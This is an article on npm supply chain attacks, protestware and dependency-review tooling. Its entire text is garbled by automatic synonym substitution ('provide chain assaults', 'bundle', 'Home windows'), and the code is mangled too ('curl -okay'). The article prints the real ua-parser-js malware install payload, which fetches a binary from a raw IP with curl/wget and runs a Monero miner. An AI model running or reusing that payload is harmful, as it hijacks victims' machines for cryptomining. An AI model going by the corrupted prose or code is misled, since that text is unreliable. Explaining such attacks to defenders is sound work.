The fashionable open supply ecosystem gives software program builders many advantages, from facilitating quicker utility improvement to offering difficult-to-develop performance similar to AI/ML. Nonetheless, these advantages include dangers that require consideration. In spite of everything, whenever you embrace third-party code of any variety into your software program, you’re accepting some degree of unknown danger—and that’s the place provide chain assaults come into play.
On this information, you’ll be taught:
-
What’s inflicting the rise in provide chain assaults
-
Methods to mitigate the consequences of provide chain assaults
-
Methods to proactively tackle dependency safety
The rise of provide chain assaults
Software program provide chain assaults happen when an attacker infiltrates a vendor’s community and injects malicious code into its software program, which that vendor then unknowingly distributes to its clients. The chance of experiencing one among these assaults is rising quickly alongside the huge improve in third-party dependencies, the interdependence on different organizations to develop software program, and the rise of cloud providers, APIs, and no-code providers.
Think about an attacker will get malicious code right into a bundle hosted on npm. From there, the vulnerability spreads to the node_modules folders on developer machines, to the construct servers, and eventually to manufacturing programs.
Collectively, let’s discover and reply the query: Why are so many assaults taking place now?
Huge improve in third-party dependencies
In fashionable software program improvement, it isn’t unusual to see massive JavaScript functions with as much as 10,000 dependencies. Builders use dependencies liberally to fulfill the rising demand to ship software program rapidly. With open supply, functions that will have beforehand taken months or years to construct can now be executed in weeks.
About 90% of the full traces of code in a contemporary utility typically come from open supply dependencies. It is a enormous change from how issues have been executed even 10 years in the past. Gone are the times of copying code snippets from StackOverflow or reinventing the wheel by writing every little thing in home. That is largely an excellent factor; nevertheless, it does not come with out dangers.
When groups rely on this a lot open supply code, they hardly ever have the time to correctly vet every dependency—whether or not completely studying the supply code or just performing a cursory test that the bundle is applied logically—earlier than introducing it into the codebase.
This drawback is exacerbated by the huge interdependence of open supply packages themselves. Putting in a mean npm bundle introduces an implicit belief on 79 different third-party packages and 39 maintainers, in line with a 2019 paper printed by Zimmermann, et al. Because of this, it isn’t shocking that Discord, the favored messaging platform, makes use of 19,462 whole dependencies constructed by 381,118 contributors from 206 international locations, in line with GitHub’s State of the Octoverse. And this is not even an outlier; at Socket, the corporate I began, we have now just a few clients with node_modules folders that strategy 100GB in dimension.
Change occurs orders of magnitude quicker than earlier than
On this planet of software program improvement, change occurs at a faster tempo than ever earlier than. Many main tech firms launch tons of of updates per day, in comparison with the once-a-year launch schedule of the previous. When each push to major
leads to a brand new deploy, the safety or QA workforce can now not act as the first gatekeeper.
Because of instruments like Dependabot, builders can simply preserve their software program dependencies updated. In at present’s tradition of quick improvement, a developer would possibly replace a dependency (pulling in new third-party code) and deploy it to manufacturing in mere days or hours after it was initially printed. It is a new phenomenon, and organizations are simply beginning to contemplate the elevated danger of provide chain assaults that include frequent updates.

The choice about how steadily to replace dependencies is fraught with tradeoffs.
The quicker a company updates its dependencies, the less possibilities individuals must assessment the code and establish potential assaults, similar to malware, hidden code, backdoors, cryptocurrency miners, protestware, and extra. This leaves organizations susceptible to assaults, as they’re assuming that the open supply code they use, whereas not good, is at the least not actively malicious.
The price of assault is decrease than ever
As increasingly organizations depend on open supply software program, the potential assault floor grows. Attackers solely have to compromise one standard bundle to achieve entry to numerous programs. The attain of the highest dependencies is so massive—some npm packages are utilized in almost each Fortune 500 web site—that the potential blast radius is important when these packages are compromised.
The price of assault goes down over time, too. At Socket, we monitor safety incidents in open supply packages and we see greater than 100 assaults in opposition to the npm ecosystem every month. Attackers reap the benefits of the open ecosystem and the implicit belief that maintainers have for one another; most npm packages have liberal contribution insurance policies, steadily sharing commit and publish rights with new contributors. That is significantly true when a maintainer faces an amazing quantity of bug studies or characteristic requests, or once they resolve they will now not keep their mission.
Virtually all organizations, no matter dimension or model recognition, will finally be affected by a provide chain assault. It’s not a matter of if, however when.
Now, let’s dig into a selected open supply provide chain assault to assist paint the image of how these assaults work.
Anatomy of a provide chain assault
In October 2021, a hacker marketed on a Russian discussion board the sale of an npm account that managed a bundle with over 7 million weekly downloads. Two weeks later, ua-parser-js was compromised, presumably by whoever bought the password on the hacking discussion board, and three variations of the bundle have been printed containing malware. In simply 4 hours, tens of 1000’s of customers downloaded these variations earlier than the group recognized the issue and eliminated the malicious packages.
The malware within the compromised packages was significantly nasty. It included a pre-install script that mechanically ran when the bundle was put in, operating a distinct payload on Home windows and Linux machines. Mac customers obtained fortunate—the attacker didn’t trouble together with a Mac payload.
On Linux, the malicious set up script began a Monero cryptocurrency miner to steal system sources and produce cryptocurrency for the attacker. On Home windows, the set up script went a step additional. It ran the cryptocurrency miner and loaded a DLL file that stole passwords from over 100 completely different applications on the sufferer’s machine, together with the Home windows credential supervisor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
IP=$(curl -okay <https://freegeoip.app/xml/> | grep 'RU|UA|BY|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl <http://159.148.186.228/obtain/jsextension> -o jsextension
if [ ! -f jsextension ]
then
wget <http://159.148.186.228/obtain/jsextension> -O jsextension
fi
chmod +x jsextension
./jsextension -okay --tls --rig-id q -o pool.minexmr.com:443 -u <redacted>
--cpu-max-threads-trace=50 --donate-degree=1 --background &>/dev/null &
fi
fi
The malicious payload executed by a compromised model of the ua-parser-js npm bundle.
Anybody who put in ua-parser-js—or a bundle that relied on ua-parser-js—was compromised.
How can builders count on to defend in opposition to assaults like these if we don’t carry out even fundamental diligence earlier than putting in or updating the open supply packages we use?
We obtain code from the web that’s written by unknown people, we don’t learn or audit it in any means, and we execute it with full permissions on our machines and manufacturing servers the place our most vital knowledge is stored. Whereas it is a testomony to the basic goodness of almost all open supply contributors that this method largely works, it solely takes a really small variety of unhealthy actors to trigger provide chain assaults that shake our belief in open supply code.
The rise of open supply protestware
Typically, builders use their open supply tasks to voice their opinions by including damaged code, protest messages, or damaging performance to their tasks with out warning. This may trigger points when an present utility fetches the newest model of the mission, ensuing within the newly added code operating unexpectedly.
Lately, the developer of the event-source-polyfill bundle added code to indicate internet guests anti-war messages after which redirect them to petition web sites to peacefully protest Russia’s invasion of Ukraine. Irrespective of how well-intentioned, actions like these elevate considerations concerning the total reliability of the ecosystem.
One other current instance of maintainer sabotage is what occurred to the favored colours npm bundle. The assault first grew to become obvious when the favored Amazon Cloud Growth Package (CDK) printed gibberish onto customers’ consoles.

The messages printed out by Amazon’s Cloud Growth Package after one among its dependencies, colours.js, was deliberately sabotaged by the maintainer.
One of many CDK’s dependencies, the colours bundle, had been sabotaged by its maintainer to protest a scarcity of donations or fee for his work as an open supply maintainer. Extra not too long ago, we’ve heard comparable grumblings of discontent from the maintainer of the core-js library, who not too long ago posted a GitHub gist declaring that “Free open supply software program is essentially damaged.”
Lately, it isn’t straightforward for a developer to research all the safety points of a bundle. Uncovering details about a dependency requires quite a lot of effort and time, particularly when it incorporates hidden or undocumented habits. However with the precise instruments and visibility, builders can proactively perceive the impression of dependency adjustments, make knowledgeable selections, and use open supply extra safely.
Code reviewers want visibility into open supply danger
When builders add a brand new dependency, the diff proven within the code assessment interface in GitHub reveals you the precise code adjustments to the bundle manifest file (e.g., bundle.json). Nonetheless, you must mix this data with an extra instrument like GitHub Superior Safety, GitHub Dependency Evaluation beta, or Socket for GitHub to really perceive the danger of bringing in a brand new dependency.
With out one among these instruments, code opinions on pull requests that add new dependencies will not present details about bundle safety dangers, establish identified malware, and even supply fundamental data just like the variety of transitive dependencies or the full quantity of code that the dependency is including. Reviewers solely see a single line code change, which conceals the tons of of 1000’s of traces of code written by numerous completely different builders that could be imported.
That is why each group ought to think about using GitHub Superior Safety or one of many different instruments talked about above.

Pull requests supply little or no data to assist a code reviewer perceive the dangers concerned with introducing a brand new dependency.
Assuming that the code reviewer is a diligent, security-minded developer, they nonetheless must do an excessive amount of work to correctly assessment a dependency. Trying on the open supply bundle’s code on GitHub is probably going not sufficient. Attackers typically publish malware to npm, whereas conserving the code on GitHub pristine, to obfuscate their assaults and delay discovery. And it’s nonetheless means too onerous to investigate the total graph of transitive dependencies. Recall that the typical npm bundle has 79 dependencies!
Utilizing a instrument to check bundle diffs can assist detect when a bundle model replace incorporates malware or undesirable habits adjustments. It is a highly effective technique to spot not simply malware however disruptive adjustments to dependencies that builders would possibly need to concentrate on.

Utilizing a instrument to view bundle diffs, such because the one supplied by Socket, can assist establish when a bundle replace contains malware or code that introduces undesirable habits, such because the event-source-polyfill bundle.
Open supply safety is about greater than vulnerabilities
The market is flooded with vulnerability scanners that discover identified vulnerabilities —also referred to as CVEs—in open supply dependencies. Vulnerability scanners merely lookup the packages you are utilizing to see if any vulnerabilities have been reported to public CVE databases. That is too gradual and reactive to cease an lively provide chain assault.
At this time, the main organizations are increasing the scope of what “open supply safety” means past identified vulnerabilities to incorporate defending in opposition to provide chain assaults.
In case you want a fast refresher on the distinction:
-
Vulnerabilities are unintentionally launched by maintainers, and will be low impression or not doable for an attacker to truly exploit. Even you probably have vulnerabilities in manufacturing, you have got a while to handle them; they might not be found or exploited earlier than you replace to a set model.
-
Provide chain assaults, alternatively, are fairly completely different. Provide chain assaults contain malware that’s deliberately launched right into a bundle by an attacker. You do not have just a few days or perhaps weeks to mitigate the difficulty. It’s worthwhile to catch it prior to installing it by yourself laptop computer or on a manufacturing server.
To really catch a provide chain assault, you must perceive the habits of an open supply bundle, both by increasing your code assessment course of to incorporate reviewing the supply code of your dependencies, or extra virtually, by utilizing a instrument which might characterize the habits of your dependencies.
As an example, Socket Safety analyzes the code of open supply packages to detect when it makes use of security-relevant platform capabilities, such because the community, filesystem, or shell, and warns builders and code reviewers in an replace. You too can use free static evaluation instruments to put in writing guidelines that detect when delicate capabilities are launched into an open supply bundle.
Past vainness metrics
When evaluating an open supply bundle, builders steadily test the variety of downloads, stars, and different vainness metrics which are fast and simple to guage. However what concerning the safety of the bundle? As a security-minded developer, you must contemplate a distinct set of things:
-
Does the bundle run a shell script at set up time?
-
Does the bundle comprise compiled code, making it more durable to audit?
-
Does the bundle speak to the community? Which domains?
-
Does the bundle learn or write recordsdata on disk?
-
Does the bundle learn atmosphere variables? Which of them?
-
Does the bundle comprise obfuscated code?
-
Does the bundle gather telemetry?
Main engineering organizations use automation to proactively push dependency danger data like this to their builders and be certain that it’s front-and-center at code assessment time.
By offering builders with this type of data earlier within the improvement course of, you create a suggestions loop the place the developer can see the consequences of their actions and make knowledgeable selections concerning the packages they use. The secret’s to present builders the visibility they should perceive the impression of their adjustments.
Can builders rise to the problem?
Take into account that builders and safety groups share the identical purpose: to launch safe and high-quality software program. With the right instruments and visibility, you may make knowledgeable selections and shield your code from potential threats.
-
Use free instruments like Socket Safety, Deps.dev, or Libraries.io to achieve detailed details about a bundle, together with any safety dangers, earlier than incorporating it into your code. This may enable you make knowledgeable selections and safe your code from potential threats.
-
When updating dependencies, strike a steadiness between pace and safety. Updating too rapidly could lead to much less time for code assessment and depart organizations susceptible to assaults.
-
Use an automatic instrument, similar to Dependabot, to forestall merging packages with identified vulnerabilities into your codebase.
-
Audit your dependencies frequently to grasp the danger of the packages you’re utilizing. Make a purpose to exchange the 5% riskiest packages you’re utilizing at present with higher-quality, better-designed, and well-maintained packages.
-
Use a free instrument, similar to BundlePhobia or PackagePhobia, to search out the price of including new dependencies to your mission. Keep away from utilizing massive, bloated packages since they result in longer set up occasions, elevated upkeep burden, and elevated publicity to danger.
-
Use an automatic instrument, similar to Socket for GitHub, to warn builders when a brand new or up to date dependency incorporates dangerous habits similar to set up scripts or protestware.
By being vigilant and taking steps to guard in opposition to provide chain assaults, builders can proceed to profit from the comfort and effectivity of open supply software program whereas minimizing safety dangers.